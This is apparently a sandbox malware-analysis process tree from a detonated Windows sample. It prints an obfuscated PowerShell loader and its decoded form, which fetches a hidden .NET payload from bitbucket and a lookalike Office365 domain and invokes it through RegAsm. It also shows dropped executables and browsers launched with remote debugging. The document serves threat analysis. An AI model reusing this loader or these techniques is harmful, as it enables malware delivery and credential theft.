                                                                              powershell "$dosigo = 'WwBO@GU@d@@u@FM@ZQBy@HY@aQBj@GU@U@Bv@Gk@bgB0@E0@YQBu@GE@ZwBl@HI@XQ@6@Do@UwBl@GM@dQBy@Gk@d@B5@F@@cgBv@HQ@bwBj@G8@b@@g@D0@I@Bb@E4@ZQB0@C4@UwBl@GM@dQBy@Gk@d@B5@F@@cgBv@HQ@bwBj@G8@b@BU@Hk@c@Bl@F0@Og@6@FQ@b@Bz@DE@Mg@N@@o@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@ZgB1@G4@YwB0@Gk@bwBu@C@@R@Bv@Hc@bgBs@G8@YQBk@EQ@YQB0@GE@RgBy@G8@bQBM@Gk@bgBr@HM@I@B7@C@@c@Bh@HI@YQBt@C@@K@Bb@HM@d@By@Gk@bgBn@Fs@XQBd@CQ@b@Bp@G4@awBz@Ck@I@@N@@o@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@J@B3@GU@YgBD@Gw@aQBl@G4@d@@g@D0@I@BO@GU@dw@t@E8@YgBq@GU@YwB0@C@@UwB5@HM@d@Bl@G0@LgBO@GU@d@@u@Fc@ZQBi@EM@b@Bp@GU@bgB0@Ds@I@@N@@o@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@J@Bz@Gg@dQBm@GY@b@Bl@GQ@T@Bp@G4@awBz@C@@PQ@g@Ec@ZQB0@C0@UgBh@G4@Z@Bv@G0@I@@t@Ek@bgBw@HU@d@BP@GI@agBl@GM@d@@g@CQ@b@Bp@G4@awBz@C@@LQBD@G8@dQBu@HQ@I@@k@Gw@aQBu@Gs@cw@u@Ew@ZQBu@Gc@d@Bo@Ds@I@@N@@o@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@ZgBv@HI@ZQBh@GM@a@@g@Cg@J@Bs@Gk@bgBr@C@@aQBu@C@@J@Bz@Gg@dQBm@GY@b@Bl@GQ@T@Bp@G4@awBz@Ck@I@B7@C@@d@By@Hk@I@B7@C@@cgBl@HQ@dQBy@G4@I@@k@Hc@ZQBi@EM@b@Bp@GU@bgB0@C4@R@Bv@Hc@bgBs@G8@YQBk@EQ@YQB0@GE@K@@k@Gw@aQBu@Gs@KQ@g@H0@I@Bj@GE@d@Bj@Gg@I@B7@C@@YwBv@G4@d@Bp@G4@dQBl@C@@fQ@g@H0@Ow@g@@0@Cg@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@By@GU@d@B1@HI@bg@g@CQ@bgB1@Gw@b@@g@H0@Ow@g@@0@Cg@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@k@Gw@aQBu@Gs@cw@g@D0@I@B@@Cg@JwBo@HQ@d@Bw@HM@Og@v@C8@YgBp@HQ@YgB1@GM@awBl@HQ@LgBv@HI@Zw@v@GQ@ZwBm@Gc@Z@Bm@GY@ZgBm@GY@ZgBm@GY@ZgBm@GY@Zw@v@Gc@Z@Bm@Gc@Z@Bm@C8@Z@Bv@Hc@bgBs@G8@YQBk@HM@LwB0@GU@cwB0@DI@LgBq@H@@Zw@/@DE@Mw@3@DE@MQ@z@Cc@L@@g@Cc@a@B0@HQ@c@Bz@Do@Lw@v@G8@ZgBp@GM@ZQ@z@DY@NQ@u@Gc@aQB0@Gg@dQBi@C4@aQBv@C8@MQ@v@HQ@ZQBz@HQ@LgBq@H@@Zw@n@Ck@Ow@N@@o@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@k@Gk@bQBh@Gc@ZQBC@Hk@d@Bl@HM@I@@9@C@@R@Bv@Hc@bgBs@G8@YQBk@EQ@YQB0@GE@RgBy@G8@bQBM@Gk@bgBr@HM@I@@k@Gw@aQBu@Gs@cw@7@@0@Cg@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@Gk@Zg@g@Cg@J@Bp@G0@YQBn@GU@QgB5@HQ@ZQBz@C@@LQBu@GU@I@@k@G4@dQBs@Gw@KQ@g@Hs@I@@k@Gk@bQBh@Gc@ZQBU@GU@e@B0@C@@PQ@g@Fs@UwB5@HM@d@Bl@G0@LgBU@GU@e@B0@C4@RQBu@GM@bwBk@Gk@bgBn@F0@Og@6@FU@V@BG@Dg@LgBH@GU@d@BT@HQ@cgBp@G4@Zw@o@CQ@aQBt@GE@ZwBl@EI@eQB0@GU@cw@p@Ds@DQ@K@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@J@Bz@HQ@YQBy@HQ@RgBs@GE@Zw@g@D0@I@@n@Dw@P@BC@EE@UwBF@DY@N@Bf@FM@V@BB@FI@V@@+@D4@Jw@7@C@@J@Bl@G4@Z@BG@Gw@YQBn@C@@PQ@g@Cc@P@@8@EI@QQBT@EU@Ng@0@F8@RQBO@EQ@Pg@+@Cc@Ow@g@CQ@cwB0@GE@cgB0@Ek@bgBk@GU@e@@g@D0@I@@k@Gk@bQBh@Gc@ZQBU@GU@e@B0@C4@SQBu@GQ@ZQB4@E8@Zg@o@CQ@cwB0@GE@cgB0@EY@b@Bh@Gc@KQ@7@C@@DQ@K@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@CQ@ZQBu@GQ@SQBu@GQ@ZQB4@C@@PQ@g@CQ@aQBt@GE@ZwBl@FQ@ZQB4@HQ@LgBJ@G4@Z@Bl@Hg@TwBm@Cg@J@Bl@G4@Z@BG@Gw@YQBn@Ck@Ow@N@@o@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@Bp@GY@I@@o@CQ@cwB0@GE@cgB0@Ek@bgBk@GU@e@@g@C0@ZwBl@C@@M@@g@C0@YQBu@GQ@I@@k@GU@bgBk@Ek@bgBk@GU@e@@g@C0@ZwB0@C@@J@Bz@HQ@YQBy@HQ@SQBu@GQ@ZQB4@Ck@I@B7@C@@J@Bz@HQ@YQBy@HQ@SQBu@GQ@ZQB4@C@@Kw@9@C@@J@Bz@HQ@YQBy@HQ@RgBs@GE@Zw@u@Ew@ZQBu@Gc@d@Bo@Ds@I@@N@@o@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@J@Bi@GE@cwBl@DY@N@BM@GU@bgBn@HQ@a@@g@D0@I@@k@GU@bgBk@Ek@bgBk@GU@e@@g@C0@I@@k@HM@d@Bh@HI@d@BJ@G4@Z@Bl@Hg@Ow@N@@o@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@k@GI@YQBz@GU@Ng@0@EM@bwBt@G0@YQBu@GQ@I@@9@C@@J@Bp@G0@YQBn@GU@V@Bl@Hg@d@@u@FM@dQBi@HM@d@By@Gk@bgBn@Cg@J@Bz@HQ@YQBy@HQ@SQBu@GQ@ZQB4@Cw@I@@k@GI@YQBz@GU@Ng@0@Ew@ZQBu@Gc@d@Bo@Ck@Ow@N@@o@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@J@BF@G4@YwBv@GQ@ZQBk@FQ@ZQB4@HQ@I@@9@Fs@QwBv@G4@dgBl@HI@d@Bd@Do@OgBU@G8@QgBh@HM@ZQ@2@DQ@UwB0@HI@aQBu@Gc@K@@k@EI@eQB0@GU@cw@p@Ds@DQ@K@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@J@Bj@G8@bQBt@GE@bgBk@EI@eQB0@GU@cw@g@D0@I@Bb@FM@eQBz@HQ@ZQBt@C4@QwBv@G4@dgBl@HI@d@Bd@Do@OgBG@HI@bwBt@EI@YQBz@GU@Ng@0@FM@d@By@Gk@bgBn@Cg@J@Bi@GE@cwBl@DY@N@BD@G8@bQBt@GE@bgBk@Ck@Ow@g@C@@I@@k@HQ@ZQB4@HQ@I@@9@C@@J@BF@G4@YwBv@GQ@ZQBk@FQ@ZQB4@HQ@Ow@g@CQ@b@Bv@GE@Z@Bl@GQ@QQBz@HM@ZQBt@GI@b@B5@C@@PQ@g@Fs@UwB5@HM@d@Bl@G0@LgBS@GU@ZgBs@GU@YwB0@Gk@bwBu@C4@QQBz@HM@ZQBt@GI@b@B5@F0@Og@6@Ew@bwBh@GQ@K@@k@GM@bwBt@G0@YQBu@GQ@QgB5@HQ@ZQBz@Ck@Ow@g@C@@J@BF@G4@YwBv@GQ@ZQBk@FQ@ZQB4@HQ@I@@9@Fs@QwBv@G4@dgBl@HI@d@Bd@Do@OgBU@G8@QgBh@HM@ZQ@2@DQ@UwB0@HI@aQBu@Gc@K@@k@EI@eQB0@GU@cw@p@Ds@DQ@K@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@CQ@YwBv@G0@c@By@GU@cwBz@GU@Z@BC@Hk@d@Bl@EE@cgBy@GE@eQ@g@D0@I@BH@GU@d@@t@EM@bwBt@H@@cgBl@HM@cwBl@GQ@QgB5@HQ@ZQBB@HI@cgBh@Hk@I@@t@GI@eQB0@GU@QQBy@HI@YQB5@C@@J@Bl@G4@YwBU@GU@e@B0@@0@Cg@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@k@HQ@eQBw@GU@I@@9@C@@J@Bs@G8@YQBk@GU@Z@BB@HM@cwBl@G0@YgBs@Hk@LgBH@GU@d@BU@Hk@c@Bl@Cg@JwB0@GU@cwB0@H@@bwB3@GU@cgBz@Gg@ZQBs@Gw@LgBI@G8@YQBh@GE@YQBh@GE@cwBk@G0@ZQ@n@Ck@Ow@N@@o@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@k@EU@bgBj@G8@Z@Bl@GQ@V@Bl@Hg@d@@g@D0@WwBD@G8@bgB2@GU@cgB0@F0@Og@6@FQ@bwBC@GE@cwBl@DY@N@BT@HQ@cgBp@G4@Zw@o@CQ@QgB5@HQ@ZQBz@Ck@Ow@N@@o@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@@0@Cg@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@k@G0@ZQB0@Gg@bwBk@C@@PQ@g@CQ@d@B5@H@@ZQ@u@Ec@ZQB0@E0@ZQB0@Gg@bwBk@Cg@JwBs@GY@cwBn@GU@Z@Bk@GQ@Z@Bk@GQ@Z@Bh@Cc@KQ@u@Ek@bgB2@G8@awBl@Cg@J@Bu@HU@b@Bs@Cw@I@Bb@G8@YgBq@GU@YwB0@Fs@XQBd@C@@K@@n@HQ@e@B0@C4@cgBT@GE@aQBm@Ek@Yg@v@G8@ZgBu@Gk@LwBn@HI@bw@u@G0@YQBr@HU@cgBl@HM@YQBk@HM@ZQBo@HQ@ZQBi@C8@Lw@6@HM@Jw@s@C@@Jw@w@Cc@L@@g@Cc@UwB0@GE@cgB0@HU@c@BO@GE@bQBl@Cc@L@@g@Cc@UgBl@Gc@QQBz@G0@Jw@s@C@@Jw@w@Cc@KQ@p@H0@fQ@=';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string($dosigo.replace('@','A')));powershell.exe $OWjuxD"
                                                                              6⤵
                                                                              • Command and Scripting Interpreter: PowerShell
                                                                              PID:2336
                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/dgfgdfffffffffffg/gdfgdf/downloads/test2.jpg?137113', 'https://ofice365.github.io/1/test.jpg'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $EncodedText =[Convert]::ToBase64String($Bytes); $commandBytes = [System.Convert]::FromBase64String($base64Command); $text = $EncodedText; $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $EncodedText =[Convert]::ToBase64String($Bytes); $compressedByteArray = Get-CompressedByteArray -byteArray $encText $type = $loadedAssembly.GetType('testpowershell.Hoaaaaaasdme'); $EncodedText =[Convert]::ToBase64String($Bytes); $method = $type.GetMethod('lfsgeddddddda').Invoke($null, [object[]] ('txt.rSaifIb/ofni/gro.makuresadsehteb//:s', '0', 'StartupName', 'RegAsm', '0'))}}"
                                                                                7⤵
                                                                                • Command and Scripting Interpreter: PowerShell
                                                                                PID:4040
                                                                                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                                                                                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                                                                                  8⤵
                                                                                    PID:2504
                                                                                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                                                                                    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                                                                                    8⤵
                                                                                      PID:1324
                                                                                    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                                                                                      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                                                                                      8⤵
                                                                                        PID:2892
                                                                              • C:\Users\Admin\AppData\Local\Temp\10044950101\uW8i508.exe
                                                                                "C:\Users\Admin\AppData\Local\Temp\10044950101\uW8i508.exe"
                                                                                4⤵
                                                                                  PID:4524
                                                                                • C:\Users\Admin\AppData\Local\Temp\10044960101\q3na5Mc.exe
                                                                                  "C:\Users\Admin\AppData\Local\Temp\10044960101\q3na5Mc.exe"
                                                                                  4⤵
                                                                                    PID:6096
                                                                                    • C:\Users\Admin\AppData\Local\Temp\10044960101\q3na5Mc.exe
                                                                                      "C:\Users\Admin\AppData\Local\Temp\10044960101\q3na5Mc.exe"
                                                                                      5⤵
                                                                                        PID:5156
                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
                                                                                          6⤵
                                                                                          • Uses browser remote debugging
                                                                                          PID:1744
                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffc389dcc40,0x7ffc389dcc4c,0x7ffc389dcc58
                                                                                            7⤵
                                                                                              PID:5656
                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1936,i,13725668693639717576,15722079776366978531,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=1932 /prefetch:2
                                                                                              7⤵
                                                                                                PID:3124
                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=2156,i,13725668693639717576,15722079776366978531,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=2188 /prefetch:3
                                                                                                7⤵
                                                                                                  PID:4544
                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2256,i,13725668693639717576,15722079776366978531,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=2232 /prefetch:8
                                                                                                  7⤵
                                                                                                    PID:4248
                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3088,i,13725668693639717576,15722079776366978531,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=3100 /prefetch:1
                                                                                                    7⤵
                                                                                                    • Uses browser remote debugging
                                                                                                    PID:2896
                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3120,i,13725668693639717576,15722079776366978531,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=3164 /prefetch:1
                                                                                                    7⤵
                                                                                                    • Uses browser remote debugging
                                                                                                    PID:5944
                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4512,i,13725668693639717576,15722079776366978531,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4500 /prefetch:1
                                                                                                    7⤵
                                                                                                    • Uses browser remote debugging
                                                                                                    PID:6024
                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4428,i,13725668693639717576,15722079776366978531,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4648 /prefetch:8
                                                                                                    7⤵
                                                                                                      PID:5864
                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4516,i,13725668693639717576,15722079776366978531,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4804 /prefetch:8
                                                                                                      7⤵
                                                                                                        PID:5936
                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4520,i,13725668693639717576,15722079776366978531,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=5060 /prefetch:8
                                                                                                        7⤵
                                                                                                          PID:5940
                                                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default"
                                                                                                        6⤵
                                                                                                        • Uses browser remote debugging
                                                                                                        PID:5560
                                                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffc309e46f8,0x7ffc309e4708,0x7ffc309e4718
                                                                                                          7⤵
                                                                                                            PID:4720
                                                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2092,12013453778775035693,6329924763431824492,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2104 /prefetch:2
                                                                                                            7⤵
                                                                                                              PID:5212
                                                                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2092,12013453778775035693,6329924763431824492,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2156 /prefetch:3
                                                                                                              7⤵
                                                                                                                PID:3480
                                                                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2092,12013453778775035693,6329924763431824492,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2964 /prefetch:8
                                                                                                                7⤵
                                                                                                                  PID:1668
                                                                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9223 --field-trial-handle=2092,12013453778775035693,6329924763431824492,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3344 /prefetch:1
                                                                                                                  7⤵
                                                                                                                  • Uses browser remote debugging
                                                                                                                  PID:5020
                                                                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9223 --field-trial-handle=2092,12013453778775035693,6329924763431824492,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3352 /prefetch:1
                                                                                                                  7⤵
                                                                                                                  • Uses browser remote debugging
                                                                                                                  PID:772
                                                                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2092,12013453778775035693,6329924763431824492,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2116 /prefetch:2
                                                                                                                  7⤵
                                                                                                                    PID:3344
                                                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9223 --field-trial-handle=2092,12013453778775035693,6329924763431824492,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4116 /prefetch:1
                                                                                                                    7⤵
                                                                                                                    • Uses browser remote debugging
                                                                                                                    PID:2252
                                                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9223 --field-trial-handle=2092,12013453778775035693,6329924763431824492,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2608 /prefetch:1
                                                                                                                    7⤵
                                                                                                                    • Uses browser remote debugging
                                                                                                                    PID:724
                                                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2092,12013453778775035693,6329924763431824492,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2096 /prefetch:2
                                                                                                                    7⤵
                                                                                                                      PID:5420
                                                                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2092,12013453778775035693,6329924763431824492,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=2924 /prefetch:2
                                                                                                                      7⤵
                                                                                                                        PID:1048
                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 6096 -s 800
                                                                                                                    5⤵
                                                                                                                    • Program crash
                                                                                                                    PID:3444
                                                                                                                • C:\Users\Admin\AppData\Local\Temp\10044970101\27JinXS.exe
                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\10044970101\27JinXS.exe"
                                                                                                                  4⤵
                                                                                                                    PID:2636
                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\10044980101\FydOzyQ.exe
                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\10044980101\FydOzyQ.exe"
                                                                                                                    4⤵
                                                                                                                      PID:4740
                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\10044980101\FydOzyQ.exe
                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\10044980101\FydOzyQ.exe"
                                                                                                                        5⤵
                                                                                                                          PID:452
                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 4740 -s 788
                                                                                                                          5⤵
                                                                                                                          • Program crash
                                                                                                                          PID:6112
                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\10044990101\29d85308c3.exe
                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\10044990101\29d85308c3.exe"
                                                                                                                        4⤵
                                                                                                                          PID:5904
                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\10045000101\c295048cc9.exe
                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\10045000101\c295048cc9.exe"
                                                                                                                          4⤵
                                                                                                                            PID:844
                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\SUD1WV96P63JIVT115.exe
                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\SUD1WV96P63JIVT115.exe"
                                                                                                                        2⤵
                                                                                                                        • Checks computer location settings
                                                                                                                        • Executes dropped EXE
                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                        • Suspicious use of WriteProcessMemory
                                                                                                                        PID:116
                                                                                                                        • C:\Users\Admin\Adobe QT32 Server.exe
                                                                                                                          "C:\Users\Admin\Adobe QT32 Server.exe"
                                                                                                                          3⤵
                                                                                                                          • Executes dropped EXE
                                                                                                                          • Loads dropped DLL
                                                                                                                          • System Location Discovery: System Language Discovery
